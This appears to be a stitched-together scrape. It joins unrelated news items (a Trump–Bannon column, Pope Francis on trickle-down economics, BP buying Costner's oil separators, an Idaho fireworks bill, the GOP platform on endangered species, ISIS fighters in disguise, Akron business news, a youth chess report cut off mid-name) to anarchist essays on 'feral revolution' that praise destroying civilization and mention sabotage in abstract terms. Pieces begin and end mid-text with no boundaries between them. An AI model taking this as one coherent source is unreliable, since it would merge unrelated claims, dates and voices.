Trump’s claim, that he is the real voice of Bannon’s supporters, has merit, but he can’t always play that role because as president, he must reflect the will of the entire nation. Aides are free to advocate for a slice of it.
Because he is operating with so little margin of error, Trump should give Bannon another chance.
In that sense, governing and campaigning are alike: both are games of addition. You must broaden your appeal while holding on to what you have. That’s the art of being a successful president.
Words to the wise
A press release from state senator Phil Boyle, a Long Island Republican, touts the “a $5 million companion animal capital fund” in the Albany budget. After reading through the bureaucratese, I figured out what a “companion animal” is. It’s a pet.
That’s politics. Never use a ten-cent word when you can use $5 million words.
GOP’s ribbiting metaphor
Congressional Republicans have a thing for frogs. Senate Majority Leader Mitch McConnell described his effort to stop defections among the 52 GOP senators in the Neil Gorsuch confirmation fight as “getting all my frogs in the wheelbarrow.”
It’s a memorable image — but not an original one. Two years ago, then House speaker John Boehner described his job this way: “My goal every day is to try to keep 218 frogs in a wheelbarrow long enough to get something passed.”
Weiner pastures
Huma Abedin wants $2 million for a book that could tell all about Anthony Weiner’s sexting scandal and Hillary Clinton’s campaign.
Heart be still. Imagine learning how the Russians simultaneously cost Clinton the White House and forced Weiner to become a pervert. Now that’s collusion!In his first official document, Pope Francis speaks out against inequality and dismisses trickle-down economics as "crude and naive." (Andreas Solaro/AFP/Getty Images)
Which economist would Jesus follow? If he's anything like the Pope, it's not exactly Hayek.
Pope Francis released Tuesday his first official document since becoming pope in March. The document, entitled "Evangelii Gaudium" or "The Joy of the Gospel," makes the usual calls to Christians, asking Catholics to renew their relationships with God and evangelize, but it also takes a firm stance against persistent economic inequality.
The document contains sections entitled "No to an economy of exclusion," "No to the new idolatry of money," and "No to the inequality which spawns violence."
"How can it be that it is not a news item when an elderly homeless person dies of exposure, but it is news when the stock market loses two points?" Pope Francis writes in the 224-page document.
Perhaps most strikingly, Francis lashes out specifically against one of the more famous economic theories of the 20th century – the trickle-down economics embraced by the Reagan administration. Not only does he argue that he does not believe in this theory; he argues there is no evidence that it works.
"[S]ome people continue to defend trickle-down theories which assume that economic growth, encouraged by a free market, will inevitably succeed in bringing about greater justice and inclusiveness in the world. This opinion, which has never been confirmed by the facts, expresses a crude and naïve trust in the goodness of those wielding economic power and in the sacralized workings of the prevailing economic system," he writes. "Meanwhile, the excluded are still waiting."
Though a lecture on economics from the pope may be unexpected, it is perhaps more fitting from this particular pontiff. Pope Francis is known for his advocacy on behalf of the poor and those on the fringes of society – on Holy Thursday this year, he washed the feet of 12 juvenile inmates in a Rome detention center. In his latest writing, he also extends the theme of economic justice to the environment.
"In this system, which tends to devour everything which stands in the way of increased profits, whatever is fragile, like the environment, is defenseless before the interests of a deified market, which become the only rule," he writes.
It wasn't just supply-side economics that took a bruising in the pope's first official document: he also took a swing at the idea of the "end of history," an argument made famous by political scientist Francis Fukuyama in his 1992 book in which he argued that governance had found a pinnacle in liberal democracy. Persistent and heavy inequality, Pope Francis writes, are evidence that humanity has far to go.
"Just as goodness tends to spread, the toleration of evil, which is injustice, tends to expand its baneful influence and quietly to undermine any political and social system, no matter how solid it may appear.... We are far from the so-called 'end of history,' since the conditions for a sustainable and peaceful development have not yet been adequately articulated and realized," Pope Francis writes.
More News:MCA/Universal Pictures
How desperate is BP? CEO Doug Suttles finally agreed to purchase 32 of the miracle oil-cleanup machines touted weeks ago by Kevin Costner, according to ABC News.
"We were confident the technology would work but we needed to test it at the extremes. We've done that and are excited by the results," said Doug Suttles, BP's chief operating officer. "We are very pleased with the results and today we have placed a significant order with OTS [Costner's Ocean Therapy Solutions] and will be working with them to rapidly manufacture and deploy 32 of their machines."
The Waterworld actor was so appalled by Exxon-Valdez that he spent $20 million of his own money to develop a centrifuge that separates oil from water. His company, Costner's Ocean Therapy Solutions, is not a joke.
Says Costner: "If 20 of my V20s [machines] would have been at the Exxon Valdez, 90 percent of that oil would have been cleaned up within the week."BOISE – An Idaho House committee voted down legislation Monday to ban the sale of aerial fireworks in Idaho.
Shooting off aerial fireworks already is illegal in the state, but a loophole in the law allows them to be sold legally at two busy locations in southwestern Idaho. Those businesses requires purchasers to sign an affidavit saying they won’t set off the fireworks in Idaho.
On a 9-6 vote, the committee opposed even introducing the legislation, refusing to allow a hearing on it.
Boise Fire Chief Dennis Doan, a prime backer of the bill, reacted angrily. “It was clear by the actions of the committee today they do not care about firefighter safety, or if people’s homes and lives are being destroyed by illegal fireworks every year,” he said in a statement. “The exorbitant cost to taxpayers and local governments, and the fact that six homes in Ada County were burned down last year, was not enough to influence their decision to print a bill which would allow a full hearing and dialogue about this important issue.”
He added, “The ability to purchase illegal fireworks apparently trumps the right of residents to protect their home from fires. This summer when someone’s home burns down due to aerial fireworks you can blame the House State Affairs Committee.”
House Minority Leader Mat Erpelding, D-Boise, the bill’s sponsor, agreed with that assessment. “If houses in the Treasure Valley burn, it’s the State Affairs Committee’s fault,” he said after the meeting. “At this time, I don’t think that that bill has much breath left in it. I think we need to go back to the drawing board.”
Some committee members said they opposed introducing the bill because it wouldn’t also ban the sale of fireworks on Idaho Indian reservations, where sovereign tribes determine their own policy in accordance with federal law. Others raised technical questions about the bill and how it would work. “It did not appear to do what he was representing it would do,” said Rep. Vito Barbieri, R-Dalton Gardens.
Among the North Idaho representatives on the House State Affairs Committee, Rep. Paulette Jordan, D-Plummer, voted in favor of introducing the bill. Reps. Heather Scott, R-Blanchard; Priscilla Giddings, R-White Bird; and Barbieri voted to reject it.
Doan said last June’s 2,500-acre Table Rock Fire on the edge of Boise, which was caused by illegal fireworks and burned one home and threatened hundreds of others, cost taxpayers $341,000.
Rep. Brent Crane, R-Nampa, who voted in favor of introducing the measure, said he still had questions about it.
“I think Rep. Erpelding has some work to do to find out if he could get the tribes on board,” Crane said. He added that he’s not sure Idahoans want to ban the sale of aerial fireworks, saying, “He attempted to light the fuse, and it was a dud.”While fights over convention rules and the authenticity of Melania Trump’s speech have dominated the headlines, this week's Republic National Convention is also the party’s time to debate and approve a new platform. And this year, among discussion of immigration, terrorism, and the economy is a section on the environment and endangered species.
The GOP's platform calls out three species in particular: the sage-grouse, lesser prairie-chicken, and the gray wolf, saying:
"There is certainly a need to protect certain species threatened worldwide with extinction. However, the Endangered Species Act (ESA) should not include species such as gray wolves and other species if these species exist elsewhere in healthy numbers in another state or country."
The main objection to species conservation is that it might cost money in the short term and limit property rights. "To upset the economic viability of an area with an unneeded designation costs jobs and hurts local communities," the statement says. (Check out our voter guide on climate and energy.)
The platform adds, "over the last few decades, the ESA has stunted economic development, halted the construction of projects, burdened landowners, and has been used to pursue policy goals inconsistent with the ESA—all with little to no success in the actual recovery of species."
But there are over 2,200 species listed by the ESA. The three singled out in the GOP platform embody the conservative arguments against protections.
Greater Sage-Grouse
Neither the greater sage-grouse (Centrocercus urophasianus) or the lesser prairie-chicken "has been shown to be in actual danger and the listings threaten to devastate farmers, ranchers, and oil and gas production," the GOP writes.
The greater sage-grouse—a two-foot-tall bird—once numbered in the millions and lived across 11 western states and two Canadian provinces. Yet its range has declined by half due to development, oil and gas exploration, fires, and invasive species. Between 2007 and 2013 the birds' numbers dropped by half, to fewer than 50,000 males (which are known for their elaborate mating dances of strutting and chest-puffing).
View Images A male sage-grouse tries to attract a mate by puffing out its chest. Photograph by Joel Sartore, Nat Geo Image Collection
Debate over protecting the sage-grouse has raged for years and came to a head last September, when the U.S. federal government decided not to list the charismatic bird as endangered.
Perhaps surprisingly, that move was actually hailed by a number of mainstream conservationists, including the National Audubon Society, who had been working with western states and private landowners to secure habitat protection for the bird without having to go through a formal ESA listing.
In response, U.S. Secretary of the Interior Sally Jewell called those agreements "the largest land conservation effort in U.S history."
In applauding what he considers effective conservation of the sage-grouse despite the federal ruling, Collin O’Mara, president and CEO of the National Wildlife Federation, said, "This decision illustrates what the Endangered Species Act is supposed to be all about: galvanizing collaborative efforts to save wildlife species before they’re on the brink of extinction."
Watch: Learn more about the mating habits of the sage-grouse.
Lesser Prairie-Chicken
The lesser prairie-chicken (Tympanuchus pallidicinctus) is another Western species that has lost habitat to agriculture and oil and gas development. Therefore, it has also been in the sights of those who don't want the federal government telling them what they can and can't do with their lands. But this time, things haven't worked out as well for conservationists.
Related to sage-grouse but smaller, the lesser prairie-chicken prefers arid, short-grass territory in the southern Great Plains. Formerly common, the bird was listed as threatened in the past few years.
View Images Behold the lesser prairie-chicken. Photograph by MICHAEL FORSBERG, Nat Geo Image Collection
But this year, the U.S. Fish and Wildlife Service removed the bird from its list of threatened species, in response to a court ruling. The petroleum industry and some counties in New Mexico had sued to overturn the listing.
The Fish and Wildlife Service has not appealed that ruling in order to re-list the bird, but the agency says that doesn't reflect any "biological determination on whether or not the lesser prairie-chicken warrants federal protection."
Unhappy with the ruling, Karyn Stockdale, a senior advisor for the National Audubon Society, said, “It’s just one more cut into the (agency’s) authority and the efficacy of the ESA.”
Gray Wolf
Among the most controversial species in North America, the gray wolf has been persecuted by people for centuries, often through state-sponsored elimination campaigns. Farmers and ranchers have hated and feared Canis lupus for its predatory nature, even though attacks on people are exceedingly rare and the species also plays a critical role in healthy ecosystems.
Nearly eliminated from most of the Lower 48, the wolf has been clawing its way back in recent years, spurred by successful (yet controversial) reintroduction campaigns (most famously in Yellowstone).
Even though the wolf remains listed as endangered in most states, pressure has been mounting to further delist it, paving the way for more legal hunting. Already, limited hunting is allowed in some states, particularly in Idaho and Montana, where it is no longer officially endangered.
The theory of allowing more legal hunting was tested in 2005, when Wisconsin asked for permission to hunt 43 of the predators. The state said limited legal hunting would help curtail illegal retaliatory killings by ranchers, but after a lawsuit the courts eventually blocked the experiment.
Watch: Photographing the wild wolves of Yellowstone.
The status of the gray wolf remains a hot-button issue, bouncing in and out of court. Some wildlife biologists say delisting is likely to be inevitable as the species continues to recover (the same argument is typically made with grizzly bears, although the issue becomes even more controversial with rarer sub-species of wolves like the Mexican and Red.)
But much of the public is uncomfortable with the idea of killing iconic species just as soon as they make a recovery, particularly given the strength of the animal rights movement. At the other end of the spectrum, hunting remains a passion for many, and is often connected to powerful gun and land rights movements—factors that played out during the armed occupation of a wildlife refuge in Oregon early this year.
In the end, perhaps the GOP's mention of these species in their platform has more to do with wider cultural wars than wildlife science.AN IS militant didn’t have a chance escaping the frontline in this female make-up disguise.
The Jihadist plucked his bushy eyebrows before applying purple eyeshadow, mascara, foundation, blusher and lashings of red lipstick.
2 What a Joker... The Jihadist plucked his bushy eyebrows before applying purple eyeshadow, mascara, foundation, blusher and lashings of red lipstick
It even appears he added a couple of beauty spots to his cheeks to complete the makeover.
He clearly forgot about his moustache and goatee beard and ended up looking more like The Joker.
The picture of the headscarf wearing fugitive was released after he was captured by the Iraqi army in Mosul.
A second snap showed him in his usual battlefield look.
Jihadists have been so desperate to avoid being detained by forces that have liberated the city.
Other pictures released by Iraqi forces show the ISIS fighters’ hapless attempts at dressing as women.
2 More of the fleeing fighters' attempts to fool Iraqi troops by dressing as women
One shame-faced fighter captured by Iraqi forces had a full make-over complete with red lipstick and heavy eye shadow.
He was also wearing a bobbed wig and padded lacy white bra for added realism. However, he’d neglected to shave his chest hair, which was clearly visible through his cream-coloured top.
Another had been captured in full-length traditional Islamic clothing and blue handbag.
His disguise reminiscent of the ‘mother’ in Monty Python’s Life of Brian – played by Terry Jones.
Another fleeing fighter had been picked up by a patrol wearing a red velvet outfit – and a beard.AKRON, Ohio -- Huntington Bank will operate a regional headquarters and foundation in Akron after it completes its merger with FirstMerit, the Akron Beacon Journal reports.
Huntington, which is on the hook to keep at least 1,150 people employed in Akron through 2018 per a job-creation agreement with the city, told the newspaper that it could add even more jobs at the FirstMerit tower in downtown Akron. It will also run a charitable foundation similar to FirstMerit's, specifically for Akron and Summit County.
The merger of the two banks, which will create the second-largest bank in Ohio behind Key Corporation, is expected to finalize in September.
Macedonia may trap and kill "alpha male" coyote: The city of Macedonia is cooking up plans to trap an "alpha male" coyote that police have blamed for two pet attacks in the last month, The News Leader reports.
In the meantime, police recommend adjusting feeding times and walks to thwart coyotes. The department recommends using hazing techniques, including loud noises, to frighten and discourage coyotes from approaching homes.
No clear plans for Akron to sell money-losing golf courses: Among recommendations issued by Akron Mayor Dan Horrigan's Blue Ribbon Task Force was to sell the city's chronically money-losing golf course, potentially to Summit Metro Parks.
There are no plans in the works thus far, according to Crain's Akron Business. The metro parks are in talks to acquire the family-owned Valley View Golf Course, on Cuyahoga Street, however.
Akron's two municipal golf courses lose an average of $290,000 per year.
University of Akron interns save Green engineering department $57k: Supplanting full-time employees with interns has saved the City of Green's engineering department about $57,000 over the last year, the Beacon Journal reports.
Engineering interns from the university earn $12 to $15 an hour working for Green and fulfill the professional work requirement they need to graduate. Many of the University of Akron interns end up accumulating seniority and even vacation benefits by the time they graduate, the newspaper reports.
Barberton High School students responsible for Fourth Friday event: This Friday, Barberton will start its 'Fourth Friday' entertainment event to attract more people to its burgeoning downtown arts district. Thank Barberton High School for providing the brainpower behind the event.
Three high schoolers, Ashley Cook, Katie Ebner and Justine Liddle, are responsible for organizing an designing the Fourth Friday event, the Akron Beacon Journal reports.
Akron's oldest law firm is growing: Roetzel and Andress, Akron's oldest and largest law firm, has added 11 new attorneys in the past year, bringing its Akron staff to 51, Crain's reports.
Among reasons for growth is the downturn in oil and gas prices, which has spurred lawsuits in the industry.When on the lookout for new talent, the World Youth Championship is not a bad place to start. Past winners of the Under 18 Open Championship are a who's-who of established elite grandmasters, including the likes of Vladimir Kramnik (1991) Peter Svidler (1994), Ruslan Ponomariov (1997), Paco Vallejo (2000) and Shakhriyar Mamedyarov (2003).
Two of the past three winners somewhat surprisingly hail from Iran, a country not known for producing top caliber GMs. (The third was Ukrainian Olexandr Bortnyk.) This year it was Masoud Mosadeghpour who scorched the field finishing with 9.5 points from 11 games in the top section played in Porto Carras, Greece.
Mosadeghpour's impressive string of seven consecutive victories to start the tournament included this highlight against Germany's Xianliang Xu:
26. e5 White is pawn down but his pair of bishops provides some compensation. Mosadeghpour will change the position dramatically with two strong blows.
26... ♘d2! This Trojan horse is an unpleasant surprise for White who suddenly finds all his pieces completely disorganised.
27. ♗e3 Recognising the triumph of Black's strategy.
27. ♖xd2 finds a strong answer in 27... ♗xd2 28. ♕xd2 ♖fd8 29. ♖d1 ♖c4 and the pinned bishop falls.
27... ♘xf3+ 28. ♕xf3 ♕a3 Now it's smooth sailing for Black who went on to victory in 57 moves.
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Iran's number two, GM Elshan Moradiabadi noted that Mosadeghpour is an ambitious player in the openings, and likely has a bright future ahead:
If he keeps working as hard as he does now and maintains high tenacity as a player, which he showed recently, I expect him to cross 2600 in 2.5-3 years from now.
It's a bird, it's a plane...
In the Under 16 open section the top spot went to Germany's Roven Vogel (Transposer here on chess24!) who soared to 9/11. Vogel (which means "bird" in German, incidentally) took a route to the top that was nearly a mirror image of Mosadeghpour's as the youngster from Nossen (in Saxony, near Dresden) started slowly but won his last six games to finish in clear first by a half point. His last round game was therefore absolutely critical:
38... ♖d8 Nearing time control the position has gone crazy. Roven decides to continue his attack even at the cost of his bishop.
39. h5⁉ Engines show that this is not completely correct but any human player will tell you it is at least brave!!
39... ♗g4
39... hxg5! was the right move but who can decline a free bishop? 40. hxg6+ ♔xg6 would be more dangerous to White than Black.
40. hxg6+ ♔xg6 41. ♕b4 ♗xd1 42. gxh6 One of stranger examples of compensation for sacrificed material that I can recall. White does not even have any strong threats but the Black pieces — especially the rook on a5 — are misplaced, while White's rooks are ready to spring into action.
42... ♕f8⁇ In a position where it's nevertheless easy to make a mistake Maghsoodloo goes wrong immediately.
42... ♕h8 43. ♖g2+ ♔xf6 44. ♖af2+ ♔e6 was the way to go, although White's resources are still enough to keep the balance.
43. ♖g2+ ♔xf6 44. ♖af2+ ♔e6 45. ♖g6+! This falls like a hammer in the Black position. The rook cannot be taken and so the h-pawn will decide.
45... ♔d7 46. ♕xf8 ♖xf8 47. h7 ♖c5 48. ♖g8 and White is on the verge of a new queen. Vogel won in short order to earn top honours in his age group.
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Roven, an active chess24 member, celebrated in part by challenging Jan Gustafsson at yesterday evening's banter blitz session!
Remember Nodirbek
There are so many sections (over 900 players!) it's hard to highlight enough of the winners, and we'd be remiss not to point out the Under 12 top seed, Nodirbek Abdusattorov from Uzbekistan, who burst on the international scene by knocking of grandmasters in tournament play at the tender age of nine! He was edged out by much lower rated rivals.
Another notable story is the success of the Indian players in general, both in the open and the girls competitions.
No less an authority than Magnus Carlsen foretold the prominent role the Indian youth would play, in an interview last January:
I think India have more players than China, especially at a youth level, so I think right now it’s probably more likely that India will dominate rather than China.
And of course the former World Champion is also in their corner!
Fans of Greece, the hosts, also did not depart empty handed, as the locals could cheer Stavroula Tsolak |
the reappearance of the enemy, recognising it and being moved to insurrection, to infinity. With all my admiration for what Feral says, it seems to me that this situation threatens to become a stalemate. By remaining on the barricades one risks losing sight of what one is actually doing. It is not true that freedom cannot be imagined, or that all one can think about freedom is incomplete, for example ‘liberties’, the definition of one’s own limits and those of others. I know that all that is not true. I know that the fool is he who finds the grain of corn in a world where most people are pecking around blindly in the logic of power which has been embellished with a few adjustments. When his heart floods with hatred for the owners of the chains and the logic of domestication, this being who wants to rebel against all rules—because freedom is above all the absence of rules—has one aim and one alone. And the latter is not utility or domestication but to make the world of suffering caused by the chains and the stupidity that results from domestication disappear forever.
This aim, as clear as day, is the one about which nothing better can be thought, so includes all strategies and any logic of adjustment, including the single clash and partial conquests of freedom. And there can be no doubt that this reality, of which nothing better can be thought, can be thought, even if it is not physically tangible. It is not simply a question of the chains disappearing or the links of domestication being broken. It is something else, something that gets greater and more marvellous and cannot be obfuscated by the specificity of going beyond. It involves more (or should do), a continual going beyond that never stops, seeing the chains and domestication in their most intimate significance, not simply as the means to a better life as those in power would have it.
If freedom were just a dream, lack of future would be no more than a great black hole and everything would be reduced to either putting up with the chains and domestication as far as possible or to living one’s own personal insurrection. Seen in these terms, and given that the capacity to choose between better and worse is determined by laws that are part of one’s domestication, there would be no criteria for choice. One would go forward blindly, guided by the genetic lumen, not knowing whether to accept or rebel.
If we choose rebellion we do so because something exists in the future, not just in our genetic and historical past. And this something is not merely part of our intelligence, simply a thought. If that were so the other thought, the logic of acceptance and domestication, would be equally valid. In the best hypothesis in that case I would die of both hunger and thirst just like Buridan’s ass, prostrated before the choice of a bucket of hay and a bucket of water.
But things are not like that. I choose because I consider both the breaking of the chains and the elimination of domestication to be acts that thrust me towards a different perspective, throwing me into the process of going beyond a condition that I loathe and which offends my good taste. If I define myself wild and a lover of the real wilderness (not that of the tourists), allowing a certain ‘primitivism’ to be understood between the lines without ever actually admitting it, that is nothing but a set of choices. Only those who have taste can choose. And taste, love and desire are expressions of that genetic-historical combination that continues to be what we are and impels us to go forward. When I think of freedom, unspecified freedom which has nothing better beyond it, it is my whole self that I put into this thought. I am not a dreamer talking about his visions, but an experimenter who goes into his visions and is prepared to risk his life for them.
Admission to such a condition of freedom cannot be gained through normal procedures of reason. It cannot be deduced from what we know through our daily experience (chains and domestication) but is born elsewhere in the genetic-historical interrelation that produces our most radical impulses, our wildest desires and dreams of eternal love that nothing can ever dim, and the taste for wild adventure. In a word, everything that Feral talks about and much more besides. If I were to limit myself to thinking about this coldly I would never be able to convince myself that it existed or that it was something worth involving myself in and risking the tranquillity of the chains which the culture of domestication renders more or less bearable. If I go beyond this level, (and how many millions of people never do!) it is because at some point I become unreasonable, throw all care to the winds, and act. But in practice it is impossible to put all one’s projects, taste, desire and love aside. In fact, in throwing down his vine, this wild man who lives in a tree and wanders free among the American redwoods is throwing me an object of love. He is linking me to him with love in the hope of taking me with him to that tree of freedom, another wild man like himself. Because life in freedom would be a poor thing indeed if it were simply a territory of complete desolation with no relationships, therefore relations. Like everything that passes between human beings, the latter depend on taste, desire, love, pleasure, but also hatred, fear, anxiety, and much more besides.
I do not think that this vine would ever be capable of consolidating itself once and for all. I do not think that one can interpret the wild condition as merely ‘vital energy’ in act from Feral’s writing. His freedom is what one cannot have anything better than. It is the totality of freedom, the completely free condition, without limits, impediments or order, not even of a moral or aesthetic character. Once taken into consideration, this totality can only be conceived as complete if one sees it as something in movement. Freedom is growth to infinity, otherwise I would have to admit that I, free at last, would end up dazed in a complete stupor: absolute freedom would become the absolute cancellation of man. Totality is therefore always in the course of development. It is in act, yet always totally present at the moment I think it. That is the totality I have in mind when I think of absolute freedom, which destroys limits and domestication. If I were to see it as something circumscribed I would be thinking of God, merely putting one word in place of another. And this absolute totality would upturn itself and become the concept of absolute tyranny, throwing me out of my involvement, obliging me to adore it as something other than myself. So, if we agree with the idea of freedom as something both infinite and in act there is no reason why we cannot acknowledge different processes of approach within this totality and actively go beyond the conditions of submission dictated by chains and domestication. Is there anything contradictory in that? I don’t think so.
Basically, this concern can be summed up in the decision to develop a project. So the question is: can the totality of my wild rebellion and freedom, precisely as Feral intends, be linked to a project? Or should the latter be considered something that needs to be destroyed along with the other creations of power because it belongs to the world of limits and rules? In other words, can a project be realised within the context of the wild insurrection that Feral is talking about? Or does this by its very nature refuse such a thing because it is a residue of domestication?
Allow me to develop these questions as I believe them to be of considerable importance. If I negate the past, and this procures me the means for attack by essentialising my destructive strength; if I negate history—as we have said—I can have no future either. In itself this can only upset palates that have been ruined by Macdonald’s hamburgers. But this absence of future is not simply a great black hole. It is an absence that I avert as a presence. Although a lack of something, it is not ‘absurd’. That is to say, it is not something that I cannot understand, otherwise it would be a mystical kind of faith which might even have subversive connotations at times, but could never accept practical destruction.
So this void contains a great many things, and the more I go ahead in my rebellion the more freedom takes form and talks to me. It tells me of the dream of my life, because that is what is at stake here, not just one of the many games that I can play during my life. In severing all links with the past and rebelling against domestication, I am presenting myself bare to the future. This new bareness is all that I have and is also the whole of freedom, without any hidden parts or reserves. I feel freedom flare up in my veins, even for an instant in that room full of books under the severe expression of a revolutionary of times gone by. It is not a place fixed in time that I can retire to every now again in my mind. It is my whole self, my totality, always. It is my love that cannot be dissected, a little here, a little there. It stays whole, always, a totality that continues to grow. We can only experience infinity if we erase from our minds the idea of something static such as the whole of everything that exists. And this totality would be sterile were we not able to stretch out a hand and widen its range at any moment. I, adventurer of the incredible, am capable of extending to infinity in the same way that I can live freedom and not allow myself to be guaranteed by it.
It is within this absolute tension that I place my project, not in vain distinctions that assign degrees or procedural levels to doing. I sketch out a path in the absolute, howl and jump for joy, and only here do I allude to this tiny portion of reality: a smile, a handshake, a walk among the fireflies in the evening shadows. And there is nothing I can do about it if someone points to the moon but only sees their finger, the stages in the journey. These levels, the specific occasions, are all illusory. They dress up an idea that lives elsewhere. They are analyses, even subtle ones, of something that, seen in its individual parts, is nothing more than brute reality. The vital lymph of all that is elsewhere in the illusion that supports it. Reason can only weaken it, scientific seriousness only mask it. It is the light of freedom in its ‘wild’ totality that illuminates the project and makes it perfectly useless to this world. How many see the project in quantitative terms and ask themselves what the point of it all is. But why make such an effort only to stop half way? Their intuition tells them to gaze at their finger, the moon is too far away and too difficult to comprehend. But tell me, in all sincerity, is that a good enough reason not to have a project?
I have many in my heart, and I cannot turn them into talking ghosts to make them become objects of fascination for others except by dressing them up in cast-off clothing: analyses, considerations of events, organisational conditions. These are at the root of the vigorous certainties of the world of the domesticated, but can also be interpreted differently by those who rebel. I do not think such efforts are an obstacle to rebellion. I do think they need to be seen for what they are: mere reflexes of totality which can only be expressed in the modest language of progressive experience.
And now I ask one last question: can the totality we carry in our hearts, the wild experience that Feral talks about, be said in any way other than by having recourse to language, which is always locked within progressive experience? After all, the pieces of writing we are presenting here are merely words. We need to encounter what these words betray rather than illuminate, elsewhere, in our hearts, at the cost of our lives. Otherwise they will lose their meaning and return to the circumscribed, miserable activity of talking for the sake of it. The same goes for the project: words, mere words, that it is up to us to read in another way.
- Alfredo M. Bonanno Catania, April 18, 1999
“Feral Revolution”
When I was a very young child, my life was filled with intense pleasure and a vital energy that caused me to feel what I experienced to the full. I was the center of this marvelous, playful existence and felt no need to rely on anything but my own living experience to fulfill me.
I felt intensely, I experienced intensely, my life was a festival of passion and pleasure. My disappointments and sorrows were also intense. I was born a free, wild being in the midst of a society based upon domestication. There was no way that I could escape being domesticated myself. Civilization will not tolerate what is wild in its midst. But I never forgot the intensity that life could be. I never forgot the vital energy that had surged through me. My existence since I first began to notice that this vitality was being drained away has been a warfare between the needs of civilized survival and the need to break loose and experience the full intensity of life unbound.
I want to experience this vital energy again. I want to know the free-spirited wildness of my unrepressed desires realizing themselves in festive play. I want to smash down every wall that stands between me and the intense, passionate life of untamed freedom that I want. The sum of these walls is everything we call civilization, everything that comes between us and the direct, participatory experience of the wild world. Around us has grown a web of domination, a web of mediation that limits our experience, defining the boundaries of acceptable production and consumption.
Domesticating authority takes many forms, some of which are difficult to recognize. Government, capital and religion are some of the more obvious faces of authority. But technology, work, language with its conceptual limits, the ingrained habits of etiquette and propriety — these too are domesticating authorities which transform us from wild, playful, unruly animals into tamed, bored, unhappy producers and consumers. These things work in us insidiously, limiting our imaginations, usurping our desires, suppressing our lived experience. And it is the world created by these authorities, the civilized world, in which we live. If my dream of a life filled with intense pleasure and wild adventure is to be realized, the world must be radically transformed, civilization must fall before expanding wilderness, authority must fall before the energy of our wild freedom. There must be — for want of a better word — a revolution.
But a revolution that can break down civilization and restore the vital energy of untamed desire cannot be like any revolution of the past. All revolutions to date have centered around power, its use and redistribution. They have not sought to eradicate the social institutions that domesticate; at best they have only sought to eradicate the power relationships within those institutions. So revolutionaries of the past have aimed their attacks at the centers of power seeking to overthrow it. Focused on power, they were blind to the insidious forces of domination that encompass our daily existence and so, when successful at overthrowing the powers that be, they ended up re-creating them. To avoid this, we need to focus not on power, but on our desire to go wild, to experience life to the full, to know intense pleasure and wild adventure. As we attempt to realize this desire, we confront the real forces of domination, the forces that we face every moment of every day. These forces have no single center that can be overthrown. They are a web that binds us. So rather than trying to overthrow the powers that be, we want to undermine domination as we confront it every day, helping the already collapsing civilization to break down more quickly and as it falls, the centers of power will fall with it. Previous revolutionaries have only explored the well-mapped territories of power. I want to explore and adventure in the unmapped, and unmappable, territories of wild freedom. The revolution that can create the world I want has to be a feral revolution.
There can be no programs or organizations for feral revolution, because wildness cannot spring from a program or organization. Wildness springs from the freeing of our instincts and desires, from the spontaneous expression of our passions. Each of us has experienced the processes of domestication, and this experience can give us the knowledge we need to undermine civilization and transform our lives. Our distrust of our own experience is probably what keeps us from rebelling as freely and actively as we’d like. We’re afraid of fucking up, we’re afraid of our own ignorance. But this distrust and fear have been instilled in us by authority. It keeps us from really growing and learning. It makes us easy targets for any authority that is ready to fill us. To set up “revolutionary” programs is to play on this fear and distrust, to reinforce the need to be told what to do. No attempt to go feral can be successful when based on such programs. We need to learn to trust and act upon our own feelings and experiences, if we are ever to be free.
So I offer no programs. What I will share is some thoughts on ways to explore. Since we all have been domesticated, part of the revolutionary process is a process of personal transformation. We have been conditioned not to trust ourselves, not to feel completely, not to experience life intensely. We have been conditioned to accept the humiliation of work and pay as inescapable, to relate to things as resources to be used, to feel the need to prove ourselves by producing. We have been conditioned to expect disappointment, to see it as normal, not to question it. We have been conditioned to accept the tedium of civilized survival rather than breaking free and really living. We need to explore ways of breaking down this conditioning, of getting as free of our domestication as we can now. Let’s try to get so free of this conditioning that it ceases to control us and becomes nothing more than a role we use when necessary for survival in the midst of civilization as we strive to undermine it.
In a very general way, we know what we want. We want to live as wild, free beings in a world of wild, free beings. The humiliation of having to follow rules, of having to sell our lives away to buy survival, of seeing our usurped desires transformed into abstractions and images in order to sell us commodities fills us with rage. How long will we put up with this misery? We want to make this world into a place where our desires can be immediately realized, not just sporadically, but normally. We want to re-eroticize our lives. We want to live not in a dead world of resources, but in a living world of free wild lovers. We need to start exploring the extent to which we are capable of living these dreams in the present without isolating ourselves. This will give us a clearer understanding of the domination of civilization over our lives, an understanding which will allow us to fight domestication more intensely and so expand the extent to which we can live wildly.
Attempting to live as wildly as possible now will also help break down our social conditioning. This will spark a wild prankishness in us which will take aim at all that would tame it, undermining civilization and creating new ways of living and sharing with each other. These explorations will expose the limits of civilization’s domination and will show its inherent opposition to freedom. We will discover possibilities we have never before imagined... vast expanses of wild freedom. Projects, ranging from sabotage and pranks that expose or undermine the dominant society, to the expansion of wilderness, to festivals and orgies and general free sharing, can point to amazing possibilities.
Feral revolution is an adventure. It is the daring exploration of going wild. It takes us into unknown territories for which no maps exist. We can only come to know these territories if we dare to explore them actively. We must dare to destroy whatever destroys our wildness and to act on our instincts and desires. We must dare to trust in ourselves, our experiences and our passions. Then we will not let ourselves be chained or penned in. We will not allow ourselves to be tamed. Our feral energy will rip civilization to shreds and create a life of wild freedom and intense pleasure.
First published in Demolition Derby #1, 1988, Montréal, Québec-Canada
also printed in “Anarchy: A Journal Of Desire Armed” Issue #19 May-July 1989
and Feral: A Journal Towards Wildness #1 Spring 1999
republished by Elephant Editions (London) 2000/2001 in the collection “Feral Revolution”
Nature as spectacle. The image of wilderness vs. wildness
(Author’s note: The frequent use of quotation marks in this essay is to reinforce the idea that nature and wilderness are concepts, not actual beings.)
Nature has not always existed. It is not found in the depths of the forest, in the heart of the cougar or in the songs of the pygmies; it is found in the philosophies and image constructions of civilized human beings. Seemingly contradictory strands are woven together creating nature as an ideological construct that serves to domesticate us, to suppress and channel our expressions of wildness.
Civilization is monolithic and the civilized way of conceiving everything that is observed is also monolithic. When confronted with the myriad of beings all around, the civilized mind needs to categorize in order to feel that it is understanding (though, in fact, all it is understanding is how to make things useful to civilization). Nature is one of the most essential of civilized categories, one of the most useful in containing the wildness of human individuals and enforcing their self-identification as civilized, social beings.
Probably the earliest conception of nature was something similar to that found in the old testament of the Bible: the evil wilderness, a place of desolation inhabited by ferocious and poisonous beasts, malicious demons and the mad. This conception served a purpose especially important to early civilizations. It induced fear of what was wild, keeping most people in the city walls and giving those who did go out to explore a defensive posture, an attitude that they were in enemy territory. This concept, in this way, helped create the dichotomy between “human” and “nature” that keeps individuals from living wildly, that is, in terms of their desires.
